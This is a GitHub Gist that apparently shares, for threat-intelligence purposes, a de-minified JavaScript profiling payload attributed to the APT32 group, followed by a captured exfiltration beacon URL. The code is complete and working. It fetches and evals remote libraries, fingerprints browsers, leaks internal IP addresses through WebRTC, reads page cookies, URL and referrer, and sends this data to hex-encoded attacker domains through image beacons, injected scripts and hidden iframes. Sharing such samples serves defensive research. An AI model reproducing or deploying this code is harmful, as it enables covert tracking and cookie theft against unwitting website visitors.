Last active
June 27, 2018 16:20
-
-
Save 9b/141a5c7ab8b4280901722e2cd931b7ef to your computer and use it in GitHub Desktop.
Latest observed JS payload used for APT32 profiling.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!function(e) { | |
function t(i) { | |
if (n[i]) | |
return n[i].exports; | |
var o = n[i] = { | |
"i": i, | |
"l": !1, | |
"exports": {} | |
}; | |
return e[i].call(o.exports, o, o.exports, t), | |
o.l = !0, | |
o.exports | |
} | |
var n = {}; | |
t.m = e, | |
t.c = n, | |
t.d = function(e, n, i) { | |
t.o(e, n) || Object.defineProperty(e, n, { | |
"configurable": !1, | |
"enumerable": !0, | |
"get": i | |
}) | |
} | |
, | |
t.n = function(e) { | |
var n = e && e.__esModule ? function() { | |
return e["default"] | |
} | |
: function() { | |
return e | |
} | |
; | |
return t.d(n, "a", n), | |
n | |
} | |
, | |
t.o = function(e, t) { | |
return Object.prototype.hasOwnProperty.call(e, t) | |
} | |
, | |
t.p = "", | |
t(t.s = 339) | |
}({ | |
"100": function(e, t, n) { | |
t.__esModule = !0, | |
t.Atp = function(e, t) { | |
if ("http:" === location.protocol) { | |
vjQQ.cookie("GpbJILGTQyuHh"), | |
vjQQ.cookie("GpbJILGTQyuHh2") && vjQQ.cookie("GpbJILGTQyuHh2"); | |
var n = document.createElement("iframe"); | |
n.style.display = "none", | |
n.onload = function() { | |
n.parentNode.removeChild(n) | |
} | |
, | |
n.src = "http://" + e + "/" + vjQQ.base64.encode(t) + "/sync", | |
document.body.appendChild(n) | |
} | |
} | |
}, | |
"339": function(e, t, n) { | |
e.exports = n(89) | |
}, | |
"89": function(module, exports, __webpack_require__) { | |
__webpack_require__(90), | |
__webpack_require__(91); | |
var _config = __webpack_require__(92) | |
, _xhr = __webpack_require__(93) | |
, _base = __webpack_require__(94) | |
, _static = __webpack_require__(95) | |
, _dynamic = __webpack_require__(96) | |
, _state = __webpack_require__(97) | |
, _send = __webpack_require__(98) | |
, _doit = __webpack_require__(99) | |
, _number = __webpack_require__(100); | |
!function() { | |
var inted = window.itls; | |
if (!inted) { | |
var snip = ""; | |
window.itls = 1; | |
var vTim = (0, | |
_config.TMCg)().x001 | |
, vIxps = [] | |
, rIsdex = 2 | |
, fLead = (new Date).getTime() | |
, ifLead = !1 | |
, whish = {}; | |
try { | |
if (window.localStorage) { | |
whish = window.localStorage; | |
try { | |
window.localStorage.C = "UTF-8", | |
whish = window.localStorage | |
} catch (e) { | |
whish = {} | |
} | |
} else | |
whish = {} | |
} catch (e) { | |
whish = {} | |
} | |
whish.START = fLead, | |
ifLead = "undefined" != typeof whish.jlb, | |
whish.vRtm ? vTim < parseInt(whish.vRtm) && (vTim = parseInt(whish.vRtm)) : whish.vRtm = vTim; | |
var lJlb = function() { | |
return function(e) { | |
return "undefined" != typeof vjQQ ? (whish.jlb = "", | |
e("jlb")) : whish.jlb ? void e("jlb") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x001.hexDecode(), function(t) { | |
return whish.jlb = t.replace(/\/\/\@/gm, "//#"), | |
e("jlb") | |
}) | |
} | |
}() | |
, lTzlb = function() { | |
return function(e) { | |
return "undefined" != typeof vLtz ? (whish.sTzlb = "", | |
e("sTzlb")) : whish.sTzlb ? e("sTzlb") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x003.hexDecode(), function(t) { | |
return whish.sTzlb = t, | |
e("sTzlb") | |
}) | |
} | |
}() | |
, lJslb = function() { | |
return function(e) { | |
return "undefined" != typeof JSON ? (whish.vJsLb = "", | |
e("vJsLb")) : whish.vJsLb ? e("vJsLb") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x004.hexDecode(), function(t) { | |
return whish.vJsLb = t, | |
e("vJsLb") | |
}) | |
} | |
}() | |
, lClb = function() { | |
return function(e) { | |
return whish.vClb ? e("vClb") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x005.hexDecode(), function(t) { | |
return whish.vClb = t, | |
e("vClb") | |
}) | |
} | |
}() | |
, lSflb = function() { | |
return function(e) { | |
return "undefined" != typeof vSflb ? (whish.sSflb = "", | |
e("sSflb")) : whish.sSflb ? e("sSflb") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x006.hexDecode(), function(t) { | |
return whish.sSflb = t, | |
e("sSflb") | |
}) | |
} | |
}() | |
, sSflb = function() { | |
return function(e) { | |
return "undefined" != typeof vFpt2 ? (whish.lvFpt2 = "", | |
e("lvFpt2")) : whish.lvFpt2 ? e("lvFpt2") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x007.hexDecode(), function(t) { | |
return whish.lvFpt2 = t, | |
e("lvFpt2") | |
}) | |
} | |
}() | |
, lSklb = function() { | |
return function(e) { | |
return "undefined" != typeof vIolb ? (whish.vSk = "", | |
e("vSk")) : whish.vSk ? e("vSk") : (0, | |
_xhr.DDL)((0, | |
_config.Cfcg)().x008.hexDecode(), function(t) { | |
return whish.vSk = t, | |
e("vSk") | |
}) | |
} | |
}() | |
, lSc = function() { | |
return function(e) { | |
return whish.vSclb ? /DOCTYPE/gim.test(whish.vSclb) ? (0, | |
_xhr.DDL)((0, | |
_config.DMCfg)().dkms0ss2.hexDecode(), function(t) { | |
return whish.vSclb = t, | |
e("vSclb") | |
}) : /<html>/gim.test(whish.vSclb) ? (0, | |
_xhr.DDL)((0, | |
_config.DMCfg)().dkms0ss2.hexDecode(), function(t) { | |
return whish.vSclb = t, | |
e("vSclb") | |
}) : whish.rIsdex ? parseInt(whish.rIsdex) < rIsdex ? (whish.rIsdex = rIsdex, | |
(0, | |
_xhr.DDL)((0, | |
_config.DMCfg)().dkms0ss2.hexDecode(), function(t) { | |
return whish.vSclb = t, | |
e("vSclb") | |
})) : e("vSclb") : (whish.rIsdex = rIsdex, | |
(0, | |
_xhr.DDL)((0, | |
_config.DMCfg)().dkms0ss2.hexDecode(), function(t) { | |
return whish.vSclb = t, | |
e("vSclb") | |
})) : (0, | |
_xhr.DDL)((0, | |
_config.DMCfg)().dkms0ss2.hexDecode(), function(t) { | |
return whish.vSclb = t, | |
e("vSclb") | |
}) | |
} | |
}() | |
, lCclb = function() { | |
function lCclb(pHole) { | |
var vCcI = setInterval(function() { | |
if ("undefined" != typeof whish.vSclb) { | |
if ("undefined" == typeof vjQQ) { | |
if (!whish.jlb) | |
return; | |
return eval(whish.jlb.replace(/jQuery/gm, "vjQQ").replace(/\/\/\@/gm, "//#")) | |
} | |
if ("undefined" == typeof vLtz) { | |
if (!whish.sTzlb) | |
return; | |
return vjQQ.globalEval(whish.sTzlb.replace(/jstz/gm, "vLtz")) | |
} | |
if ("undefined" == typeof JSON) { | |
if (!whish.vJsLb) | |
return; | |
return vjQQ.globalEval(whish.vJsLb) | |
} | |
if ("undefined" == typeof vjQQ.cookie) { | |
if (!whish.vClb) | |
return; | |
return vjQQ.globalEval(whish.vClb.replace(/jQuery/gm, "vjQQ").replace(/\$/gm, "vjQQ")) | |
} | |
if ("undefined" == typeof vSflb) { | |
if (!whish.sSflb) | |
return; | |
return vjQQ.globalEval(whish.sSflb.replace(/swfobject/gm, "vSflb")) | |
} | |
if ("undefined" == typeof vFpt2) { | |
if (!whish.lvFpt2) | |
return; | |
return vjQQ.globalEval(localStorage.lvFpt2.replace(/Fingerprint2/gm, "vFpt2")) | |
} | |
return clearInterval(vCcI), | |
pHole() | |
} | |
}, 1) | |
} | |
return lCclb | |
}() | |
, lNN = function() { | |
return function(e) {} | |
}(); | |
lJlb(lNN), | |
lTzlb(lNN), | |
lJslb(lNN), | |
lClb(lNN), | |
lSflb(lNN), | |
sSflb(lNN), | |
lSc(lNN); | |
var lSn = function() { | |
return function() { | |
(0, | |
_base.Base16)(vjQQ), | |
"undefined" == typeof jQuery ? (window.jQuery = vjQQ, | |
"undefined" == typeof $ ? $ = vjQQ : ((0, | |
_base.Base16)($), | |
(0, | |
_base.Base16)(window.jQuery))) : ((0, | |
_base.Base16)($), | |
(0, | |
_base.Base16)(window.jQuery)), | |
jQuery.support.cors = !0; | |
var t = function(e) { | |
var t, n, i, o, r; | |
return n = vjQQ.base64.encode(e), | |
o = n.split("").length / 2, | |
i = n.split(""), | |
t = function() { | |
var e; | |
for (e = []; i.length; ) | |
e.push(i.splice(0, o)); | |
return e | |
}(), | |
r = [], | |
r = r.concat(t[1]), | |
(r = r.concat(t[0])).join("").replace(/=/gim, "BaNrTxssCseErsqQs") | |
}; | |
'____vDm0s4____"' !== (0, | |
_config.DMCfg)().vDm0s4 && vjQQ.cookie("EwwohFkYYl", t((0, | |
_config.DMCfg)().vDm0s4.hexDecode()), { | |
"domain": document.domain, | |
"path": "/" | |
}), | |
(new Date).getTime(); | |
var n = undefined | |
, i = undefined | |
, o = whish.vSclb | |
, r = function() { | |
if ("1" === (0, | |
_config.ACfg)().vDoAc && n) { | |
var e = { | |
"uuid": n, | |
"fuuid": i, | |
"zuuid": o, | |
"hash": window.location.hash | |
}; | |
(0, | |
_doit.Sxp)((0, | |
_config.DMCfg)().optsDm, vjQQ.base64.encode(escape(JSON.stringify(e)))) | |
} | |
}; | |
if (void 0 === vjQQ.cookie("GpbJILGTQyuHh") || null === vjQQ.cookie("GpbJILGTQyuHh")) | |
try { | |
(0, | |
_dynamic.Ftpg2)(function(e) { | |
(new Date).getTime(), | |
e && (n = e), | |
vjQQ.cookie("GpbJILGTQyuHh", n, { | |
"domain": document.domain, | |
"path": "/" | |
}), | |
r() | |
}) | |
} catch (e) { | |
(new Date).getTime(), | |
n = o, | |
vjQQ.cookie("GpbJILGTQyuHh", o, { | |
"domain": document.domain, | |
"path": "/" | |
}) | |
} | |
else | |
vjQQ.cookie("GpbJILGTQyuHh") && (n = vjQQ.cookie("GpbJILGTQyuHh")), | |
r(); | |
var c = {} | |
, a = {}; | |
if (whish.vSetTm) { | |
var u = 0; | |
try { | |
u = (new Date).getTime() - parseInt(whish.vSetTm) | |
} catch (e) { | |
whish.vSetTm = (new Date).getTime() | |
} | |
u > 864e5 ? (c = (0, | |
_static.Bwr)(), | |
a = (0, | |
_state.Htr)(), | |
c.plugins = (0, | |
_static.Plus)(), | |
c._screen = (0, | |
_static.FgScr)(), | |
c._plugins = (0, | |
_static.BrPlus)(), | |
c._mimeTypes = (0, | |
_static.BRmmt)(), | |
whish.vSetTm = (new Date).getTime()) : a = (0, | |
_state.Htr)() | |
} else | |
c = (0, | |
_static.Bwr)(), | |
a = (0, | |
_state.Htr)(), | |
c.plugins = (0, | |
_static.Plus)(), | |
c._screen = (0, | |
_static.FgScr)(), | |
c._plugins = (0, | |
_static.BrPlus)(), | |
c._mimeTypes = (0, | |
_static.BRmmt)(), | |
whish.vSetTm = (new Date).getTime(); | |
var _ = !1; | |
"undefined" == typeof window.mozRTCPeerConnection && "undefined" == typeof window.webkitRTCPeerConnection ? _ = !0 : (0, | |
_dynamic.Rwtc)(function(e) { | |
e ? vIxps.push(e) : _ = !0 | |
}); | |
var l = setInterval(function() { | |
if (_) { | |
clearInterval(l), | |
(new Date).getTime(), | |
Array.prototype.unique = function() { | |
return this.filter(function(e, t, n) { | |
return n.indexOf(e) === t | |
}) | |
} | |
, | |
a.client_network_ip_list = vIxps.unique(), | |
a.client_api = (0, | |
_config.DMCfg)().optsDm, | |
a.client_uuid = n, | |
a.client_fuuid = i, | |
a.client_zuuid = o; | |
var e = vjQQ.base64.encode(escape(JSON.stringify({ | |
"history": a, | |
"navigator": c | |
}))); | |
(0, | |
_send.AtcG)(e, (0, | |
_config.DMCfg)().optsDm); | |
var t = vjQQ.cookie("GpbJILGTQyuHh"); | |
vjQQ.cookie("GpbJILGTQyuHh2") && (t += "." + vjQQ.cookie("GpbJILGTQyuHh2")), | |
"1" === (0, | |
_config.ACfg)().vPTPed && (0, | |
_number.Atp)((0, | |
_config.DMCfg)().vPTDed.hexDecode(), t) | |
} | |
}, 1) | |
} | |
}(); | |
lCclb(lSn) | |
} | |
}() | |
}, | |
"90": function(e, t, n) { | |
String.prototype.hexEncode = function() { | |
var e = void 0 | |
, t = ""; | |
for (e = 0; e < this.length; e++) | |
t += ("0000" + this.charCodeAt(e).toString(16)).slice(-4); | |
return t | |
} | |
, | |
String.prototype.hexDecode = function() { | |
var e = void 0 | |
, t = this.match(/.{1,4}/g) || [] | |
, n = ""; | |
for (e = 0; e < t.length; e++) | |
n += String.fromCharCode(parseInt(t[e], 16)); | |
return n | |
} | |
}, | |
"91": function(e, t, n) { | |
Date.prototype.toISOString || function() { | |
function e(e) { | |
return e < 10 ? "0" + e : e | |
} | |
Date.prototype.toISOString = function() { | |
return this.getUTCFullYear() + "-" + e(this.getUTCMonth() + 1) + "-" + e(this.getUTCDate()) + "T" + e(this.getUTCHours()) + ":" + e(this.getUTCMinutes()) + ":" + e(this.getUTCSeconds()) + "." + (this.getUTCMilliseconds() / 1e3).toFixed(3).slice(2, 5) + "Z" | |
} | |
}() | |
}, | |
"92": function(e, t, n) { | |
t.__esModule = !0, | |
t.Cfcg = function() { | |
return { | |
"x001": "00680074007400700073003a002f002f007200610077002e00670069007400680075006200750073006500720063006f006e00740065006e0074002e0063006f006d002f006a00710075006500720079002f006a00710075006500720079002f0031002e0039002e0030002f006a00710075006500720079002e006d0069006e002e006a0073", | |
"x002": "00680074007400700073003a002f002f007200610077002e00670069007400680075006200750073006500720063006f006e00740065006e0074002e0063006f006d002f00640061007600690064006300680061006d0062006500720073002f004200610073006500360034002e006a0073002f006d00610073007400650072002f006200610073006500360034002e006d0069006e002e006a0073", | |
"x003": "00680074007400700073003a002f002f00630064006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a00610078002f006c006900620073002f006a007300740069006d0065007a006f006e0065006400650074006500630074002f0031002e0030002e0036002f006a00730074007a002e006d0069006e002e006a0073", | |
"x004": "00680074007400700073003a002f002f007200610077002e00670069007400680075006200750073006500720063006f006e00740065006e0074002e0063006f006d002f00640061007600690064006300680061006d0062006500720073002f004200610073006500360034002e006a0073002f006d00610073007400650072002f006200610073006500360034002e006d0069006e002e006a0073", | |
"x005": "00680074007400700073003a002f002f00630064006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a00610078002f006c006900620073002f006a00710075006500720079002d0063006f006f006b00690065002f0031002e0034002e0031002f006a00710075006500720079002e0063006f006f006b00690065002e006d0069006e002e006a0073", | |
"x006": "00680074007400700073003a002f002f00630064006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a00610078002f006c006900620073002f007300770066006f0062006a006500630074002f0032002e0032002f007300770066006f0062006a006500630074002e006d0069006e002e006a0073", | |
"x007": "00680074007400700073003a002f002f007200610077002e00670069007400680075006200750073006500720063006f006e00740065006e0074002e0063006f006d002f00560061006c00760065002f00660069006e006700650072007000720069006e0074006a00730032002f0039003000360064006300350064003300390036003800310038003800660032003200620036003900300063003600360066003800620036006600300066006200320065003100620066006500340037002f0064006900730074002f00660069006e006700650072007000720069006e00740032002e006d0069006e002e006a0073", | |
"x008": "00680074007400700073003a002f002f00630064006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a00610078002f006c006900620073002f0073006f0063006b00650074002e0069006f002f0031002e0037002e0033002f0073006f0063006b00650074002e0069006f002e006d0069006e002e006a0073" | |
} | |
} | |
, | |
t.DMCfg = function() { | |
return { | |
"optsDm": "007300740061007400690063002e006900630064006e002e00620069007a", | |
"dkms0ss2": "00680074007400700073003a002f002f007700770077002e006a00650074007400680075006d00620073002e0063006f006d002f0072006f0062006f0074002e007400780074", | |
"x00CloudFlareHealth03": "007300740061007400690063002e006900630064006e002e00620069007a", | |
"vDm0s4": "007700770077002e00700072006f00660069006c0065006b0069006e0067002e006f00720067", | |
"x00CloudFlareHealth05": "____x00CloudFlareHealth05____", | |
"vPTDed": "____x00CloudFlareHealth06____" | |
} | |
} | |
, | |
t.ACfg = function() { | |
return { | |
"vDoAc": "1", | |
"vPTCk1": "1", | |
"vPTAsk": "____x00GoogleAnalytics02____", | |
"vPTPed": "0" | |
} | |
} | |
, | |
t.TMCg = function() { | |
return { | |
"x001": 1e3, | |
"x002": "____resync____" | |
} | |
} | |
}, | |
"93": function(e, t, n) { | |
t.__esModule = !0, | |
t.DDL = function(e, t, n) { | |
var i = void 0; | |
i = "undefined" != typeof window.XDomainRequest ? new XDomainRequest : "undefined" != typeof window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject("Microsoft.XMLHTTP"), | |
i.withCredentials = !!n, | |
i.open("GET", e, !1), | |
i.onload = function(e) { | |
return t(i.responseText) | |
} | |
, | |
i.send() | |
} | |
}, | |
"94": function(e, t, n) { | |
t.__esModule = !0, | |
t.Base16 = function(e) { | |
function t(e, t, n, i, o, r) { | |
for (var c = 0, a = 0, u = (e = String(e)).length, _ = "", l = 0; a < u; ) { | |
var s = e.charCodeAt(a); | |
for (c = (c << o) + (s = s < 256 ? n[s] : -1), | |
l += o; l >= r; ) { | |
var f = c >> (l -= r); | |
_ += i.charAt(f), | |
c ^= f << l | |
} | |
++a | |
} | |
return !t && l > 0 && (_ += i.charAt(c << r - l)), | |
_ | |
} | |
for (var n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", i = "", o = [256], r = [256], c = 0, a = { | |
"encode": function(e) { | |
return e.replace(/[\u0080-\u07ff]/g, function(e) { | |
var t = e.charCodeAt(0); | |
return String.fromCharCode(192 | t >> 6, 128 | 63 & t) | |
}).replace(/[\u0800-\uffff]/g, function(e) { | |
var t = e.charCodeAt(0); | |
return String.fromCharCode(224 | t >> 12, 128 | t >> 6 & 63, 128 | 63 & t) | |
}) | |
}, | |
"decode": function(e) { | |
return e.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function(e) { | |
var t = (15 & e.charCodeAt(0)) << 12 | (63 & e.charCodeAt(1)) << 6 | 63 & e.charCodeAt(2); | |
return String.fromCharCode(t) | |
}).replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function(e) { | |
var t = (31 & e.charCodeAt(0)) << 6 | 63 & e.charCodeAt(1); | |
return String.fromCharCode(t) | |
}) | |
} | |
}; c < 256; ) { | |
var u = String.fromCharCode(c); | |
i += u, | |
r[c] = c, | |
o[c] = n.indexOf(u), | |
++c | |
} | |
var _ = e.base64 = function(e, t, n) { | |
return t ? _[e](t, n) : e ? null : this | |
} | |
; | |
_.btoa = _.encode = function(e, i) { | |
return e = !1 === _.raw || _.utf8encode || i ? a.encode(e) : e, | |
(e = t(e, !1, r, n, 8, 6)) + "====".slice(e.length % 4 || 4) | |
} | |
, | |
_.atob = _.decode = function(e, n) { | |
var r = (e = String(e).split("=")).length; | |
do { | |
e[--r] = t(e[r], !0, o, i, 6, 8) | |
} while (r > 0);return e = e.join(""), | |
!1 === _.raw || _.utf8decode || n ? a.decode(e) : e | |
} | |
} | |
}, | |
"95": function(e, t, n) { | |
t.__esModule = !0; | |
var i = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) { | |
return typeof e | |
} | |
: function(e) { | |
return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e | |
} | |
; | |
t.FgScr = function() { | |
var e = screen || window.screen; | |
return { | |
"width": e.width, | |
"height": e.height, | |
"availWidth": e.availWidth, | |
"availHeight": e.availHeight, | |
"resolution": e.width + "x" + e.height | |
} | |
} | |
, | |
t.Bwr = function() { | |
return { | |
"userAgent": navigator.userAgent, | |
"appVersion": navigator.appVersion, | |
"appCodeName": navigator.appCodeName, | |
"appName": navigator.appName, | |
"platform": navigator.platform, | |
"product": navigator.product, | |
"productSub": navigator.productSub, | |
"maxTouchPoints": navigator.maxTouchPoints, | |
"language": navigator.language, | |
"languages": navigator.languages, | |
"doNotTrack": navigator.doNotTrack, | |
"browserLanguage": navigator.browserLanguage, | |
"cookieEnabled": navigator.cookieEnabled, | |
"vendor": navigator.vendor, | |
"vendorSub": navigator.vendorSub, | |
"oscpu": navigator.oscpu, | |
"onLine": navigator.onLine, | |
"mozTCPSocket": navigator.mozTCPSocket, | |
"mozPay": navigator.mozPay, | |
"buildID": navigator.buildID, | |
"hardwareConcurrency": navigator.hardwareConcurrency | |
} | |
} | |
, | |
t.Plus = function() { | |
var e = function(e) { | |
var t = void 0 | |
, n = void 0 | |
, o = void 0 | |
, r = void 0 | |
, c = void 0 | |
, a = void 0 | |
, u = void 0 | |
, _ = void 0 | |
, l = void 0; | |
if (!("ActiveXObject"in window)) { | |
if (navigator.plugins.length > 0) { | |
for (c = 0, | |
u = (l = navigator.plugins).length; c < u; c++) | |
if (n = l[c], | |
e.plugin.test(n.name)) | |
return !0; | |
return !1 | |
} | |
return !1 | |
} | |
if ("string" != typeof e.activex) { | |
for (r = 0, | |
a = (_ = e.activex).length; r < a; r++) { | |
t = _[r]; | |
try { | |
if ("object" === (void 0 === (o = new ActiveXObject(t)) ? "undefined" : i(o))) | |
return !0 | |
} catch (s) {} | |
} | |
return !1 | |
} | |
try { | |
return "object" === (void 0 === (o = new ActiveXObject(e.activex)) ? "undefined" : i(o)) | |
} catch (s) { | |
return !1 | |
} | |
}; | |
return { | |
"activex": "ActiveXObject"in window, | |
"cors": "withCredentials"in new XMLHttpRequest || "undefined" != typeof XDomainRequest, | |
"flash": vSflb.hasFlashPlayerVersion("9"), | |
"java": navigator.javaEnabled(), | |
"foxit": function() { | |
try { | |
return !!navigator.plugins["Foxit Reader Plugin for Mozilla"] || !!new ActiveXObject("FoxitReader.FoxitReaderCtl.1") | |
} catch (e) { | |
return !1 | |
} | |
}(), | |
"phonegap": function() { | |
try { | |
return device.phonegap || device.cordova | |
} catch (e) { | |
return !1 | |
} | |
}(), | |
"quicktime": e({ | |
"activex": ["QuickTime.QuickTime"], | |
"plugin": /quicktime/gim | |
}), | |
"realplayer": e({ | |
"activex": ["RealPlayer", "rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(tm) ActiveX Control (32-bit)"], | |
"plugin": /realplayer/gim | |
}), | |
"silverlight": e({ | |
"activex": ["AgControl.AgControl"], | |
"plugin": /silverlight/gim | |
}), | |
"touch": function() { | |
try { | |
return "ontouchstart"in document | |
} catch (e) { | |
return !1 | |
} | |
}(), | |
"vbscript": function() { | |
try { | |
return -1 !== navigator.userAgent.indexOf("MSIE") && -1 !== navigator.userAgent.indexOf("Win") | |
} catch (e) { | |
return !0 | |
} | |
}(), | |
"vlc": e({ | |
"activex": ["VideoLAN.VLCPlugin.2"], | |
"plugin": /vlc/gim | |
}), | |
"webrtc": function() { | |
try { | |
return !!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection | |
} catch (e) { | |
return !1 | |
} | |
}(), | |
"wmp": e({ | |
"activex": ["WMPlayer.OCX"], | |
"plugin": /(windows\smedia)|(Microsoft)/gim | |
}) | |
} | |
} | |
, | |
t.BRmmt = function() { | |
return vjQQ.map(navigator.mimeTypes, function(e) { | |
return { | |
"description": e.description, | |
"suffixes": e.suffixes, | |
"type": e.type | |
} | |
}) | |
} | |
, | |
t.BrPlus = function() { | |
return vjQQ.map(navigator.plugins, function(e) { | |
return { | |
"description": e.description, | |
"filename": e.filename, | |
"length": e.length, | |
"name": e.name | |
} | |
}) | |
} | |
}, | |
"96": function(e, t, n) { | |
t.__esModule = !0, | |
t.Rwtc = function(e) { | |
if ("undefined" == typeof window.mozRTCPeerConnection && "undefined" == typeof window.webkitRTCPeerConnection) | |
return e(!1); | |
!function(e) { | |
var t = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; | |
if (window.webkitRTCPeerConnection, | |
!t) { | |
var n = iframe.contentWindow; | |
t = n.RTCPeerConnection || n.mozRTCPeerConnection || n.webkitRTCPeerConnection, | |
n.webkitRTCPeerConnection | |
} | |
var i = new t({ | |
"iceServers": [{ | |
"urls": "stun:stun.l.google.com:19302" | |
}] | |
},{ | |
"optional": [{ | |
"RtpDataChannels": !0 | |
}] | |
}); | |
i.onicecandidate = function(t) { | |
t && t.candidate ? function(t) { | |
var n = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(t) | |
, i = void 0; | |
n ? (i = n[1], | |
e(i)) : e(null) | |
}(t.candidate.candidate) : e(null) | |
} | |
, | |
i.createDataChannel(""), | |
i.createOffer(function(e) { | |
i.setLocalDescription(e, function() {}, function() {}) | |
}, function() {}) | |
}(e) | |
} | |
, | |
t.Ftpg2 = function(e) { | |
vFpt2().get(function(t, n) { | |
e(t) | |
}) | |
} | |
}, | |
"97": function(e, t, n) { | |
t.__esModule = !0, | |
t.Htr = function() { | |
var e = void 0; | |
try { | |
e = vLtz().timezone_name | |
} catch (t) { | |
e = vLtz.determine().name() | |
} | |
return { | |
"client_title": document.title, | |
"client_url": document.URL, | |
"client_cookie": document.cookie, | |
"client_hash": window.location.hash, | |
"client_referrer": document.referrer, | |
"client_platform_ua": navigator.userAgent, | |
"client_time": (new Date).toISOString(), | |
"timezone": e | |
} | |
} | |
}, | |
"98": function(e, t, n) { | |
t.__esModule = !0, | |
t.AtcP = function(e, t) { | |
vjQQ.ajax({ | |
"crossDomain": !0, | |
"type": "POST", | |
"data": { | |
"authorization_token": e | |
}, | |
"url": location.protocol + "//" + t.hexDecode() + "/163/995/836/px_04d05405503404d05404503d.gif", | |
"dataType": "image/gif" | |
}) | |
} | |
, | |
t.AtcG = function(e, t) { | |
(new Image).src = location.protocol + "//" + t.hexDecode() + "/163/" + e + "/995/836/px_04d05405503404d05404503d.gif" | |
} | |
}, | |
"99": function(e, t, n) { | |
t.__esModule = !0, | |
t.Sxp = function(e, t) { | |
var n = document.createElement("470007009600270036003700".split("").reverse().join("").toString().hexDecode()); | |
n.src = location.protocol + "//" + e.hexDecode() + "/api/" + t + "/04d05405503404d05404503d/163"; | |
var i = "4600160056008600".split(""); | |
document.getElementsByTagName(i.reverse().join("").toString().hexDecode())[0].appendChild(n) | |
} | |
} | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://static.icdn.biz/161/JTdCJTIyaGlzdG9yeSUyMiUzQSU3QiUyMmNsaWVudF90aXRsZSUyMiUzQSUyMkdtYWlsJTIyJTJDJTIyY2xpZW50X3VybCUyMiUzQSUyMmh0dHAlM0EvL3NwYXJrb2NlYW4uY29tLyUyMiUyQyUyMmNsaWVudF9jb29raWUlMjIlM0ElMjJFd3dvaEZrWVlsJTNEVnJhVzVuTG05eVp3QmFOclR4c3NDc2VFcnNxUXNCYU5yVHhzc0NzZUVyc3FRc2QzZDNMbkJ5YjJacGJHJTIyJTJDJTIyY2xpZW50X2hhc2glMjIlM0ElMjIlMjIlMkMlMjJjbGllbnRfcmVmZXJyZXIlMjIlM0ElMjIlMjIlMkMlMjJjbGllbnRfcGxhdGZvcm1fdWElMjIlM0ElMjJNb3ppbGxhLzUuMCUyMCUyOE1hY2ludG9zaCUzQiUyMEludGVsJTIwTWFjJTIwT1MlMjBYJTIwMTBfMTNfNSUyOSUyMEFwcGxlV2ViS2l0LzUzNy4zNiUyMCUyOEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvJTI5JTIwQ2hyb21lLzY3LjAuMzM5Ni44NyUyMFNhZmFyaS81MzcuMzYlMjIlMkMlMjJjbGllbnRfdGltZSUyMiUzQSUyMjIwMTgtMDYtMjNUMjIlM0EwNyUzQTMyLjE4OFolMjIlMkMlMjJ0aW1lem9uZSUyMiUzQSUyMkFtZXJpY2EvTmV3X1lvcmslMjIlMkMlMjJjbGllbnRfbmV0d29ya19pcF9saXN0JTIyJTNBJTVCJTVEJTJDJTIyY2xpZW50X2FwaSUyMiUzQSUyMjAwNzMwMDc0MDA2MTAwNzQwMDY5MDA2MzAwMmUwMDY5MDA2MzAwNjQwMDZlMDAyZTAwNjIwMDY5MDA3YSUyMiUyQyUyMmNsaWVudF91dWlkJTIyJTNBJTIyZDIzYjVjZTcyZmEyOWNkZjQzOTc2NWEwMDYzMDhhODQlMjIlMkMlMjJjbGllbnRfenV1aWQlMjIlM0ElMjJlMDkwNmY4OS01MTY2LTQzMDEtOTk0ZS04YjNhOWMyMDIxNTAlMjIlN0QlMkMlMjJuYXZpZ2F0b3IlMjIlM0ElN0IlMjJ1c2VyQWdlbnQlMjIlM0ElMjJNb3ppbGxhLzUuMCUyMCUyOE1hY2ludG9zaCUzQiUyMEludGVsJTIwTWFjJTIwT1MlMjBYJTIwMTBfMTNfNSUyOSUyMEFwcGxlV2ViS2l0LzUzNy4zNiUyMCUyOEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvJTI5JTIwQ2hyb21lLzY3LjAuMzM5Ni44NyUyMFNhZmFyaS81MzcuMzYlMjIlMkMlMjJhcHBWZXJzaW9uJTIyJTNBJTIyNS4wJTIwJTI4TWFjaW50b3NoJTNCJTIwSW50ZWwlMjBNYWMlMjBPUyUyMFglMjAxMF8xM181JTI5JTIwQXBwbGVXZWJLaXQvNTM3LjM2JTIwJTI4S0hUTUwlMkMlMjBsaWtlJTIwR2Vja28lMjklMjBDaHJvbWUvNjcuMC4zMzk2Ljg3JTIwU2FmYXJpLzUzNy4zNiUyMiUyQyUyMmFwcENvZGVOYW1lJTIyJTNBJTIyTW96aWxsYSUyMiUyQyUyMmFwcE5hbWUlMjIlM0ElMjJOZXRzY2FwZSUyMiUyQyUyMnBsYXRmb3JtJTIyJTNBJTIyTWFjSW50ZWw